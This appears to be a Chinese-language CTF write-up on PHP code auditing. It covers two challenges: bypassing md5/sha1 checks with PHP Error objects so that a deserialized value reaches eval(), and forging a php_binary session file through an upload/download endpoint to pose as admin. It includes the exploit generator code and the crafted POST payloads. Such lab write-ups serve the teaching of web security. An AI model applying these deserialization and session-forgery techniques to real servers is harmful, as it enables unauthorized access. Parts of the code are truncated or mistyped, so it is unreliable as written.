syc);} else {die("Try Hard !!")。安全|CTF-PHP审计。" />

安全|CTF-PHP审计

来一篇刷题的文章:
安全|CTF-PHP审计
文章图片

PHP原生类 源码

syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }} } }if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>

代码审计
通过分析代码可以,md5和sha1必须要相等,但数据又不能相等,所以用Error类绕过md5和sha1检测
本地做一个测试
"; echo $b; echo "
"; if($a != $b) { echo "a!=b"; } echo "
"; if(md5($a) === md5($b)) { echo "md5相等"."
"; } if(sha1($a)=== sha1($b)){ echo "sha1相等"; }

通过本地测试得到 a!=b md5相等 sha1相等
这是因为error类中有_tostring方法,md5()和sha1()函数都会调用__tostring方法
源码里的正则检测用取反绕过就行。
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }} } } $str = "?>"; $a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>

session的文件上传 代码审计
源码:
getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>

首先要做的还是代码审计
error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag";

session的代码存在/var/babyctf/里面
if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; }

这里进行判断,如果session的username是admin,然后存在这个文件/var/babyctf/success.txt,如果存在地话,就删除文件,然后输出flag,否则的话 username改为guest
$direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; }

这里有两个post参数,$dir_path拼接路径,若attr是private,呢么在dir_path的基础上再拼接一个username。
if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } }

如果direction设置为update,首先判断是否正常上传,通过则在dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256,之后开始正则匹配,限制目录的读取和穿越,
elseif ($direction === "download") {//如果direction设置为download try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readftile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; }

若direction设置为download,读取上传下来的文件名,拼接为file_path,然后就开始正则匹配,如果文件存在,则返回文件内容
通过审计代码得到,获取flag的条件
$_SESSION[‘username’] ===‘admin’ $filename=’/var/babyctf/success.txt’

所以说伪造自己的username的session为admin,并且要在/var/baby下面创建一个success.txt文件。
伪造session:
php的session默认存储文件名是sess_+PHPSESSID的值,
我们看一下cookie中的PHPSESSID
PHPSESSID=30bc3a91059df2210cf8cd4b3d7fe02a

构造:
direction=download&attr=&filename=sess_30bc3a91059df2210cf8cd4b3d7fe02a

以post传入,在返回内容中读到内容
安全|CTF-PHP审计
文章图片

看到回显,不同的引擎所对应的session的存储方式:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

我们这里的session处理器是php_binary,我们要在本地利用php_binary生成我们要伪造的session文件

运行生成session文件
计算sha256
得到:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
构造
direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

【安全|CTF-PHP审计】创建success.txt
将attr设置为success.txt创建目录就能绕过,因为函数file_exists是检查文件或目录是否存在。
我们把PHPSESSID改为sess的文件sha256值让session的username为admin 刷新就能得到flag.

    推荐阅读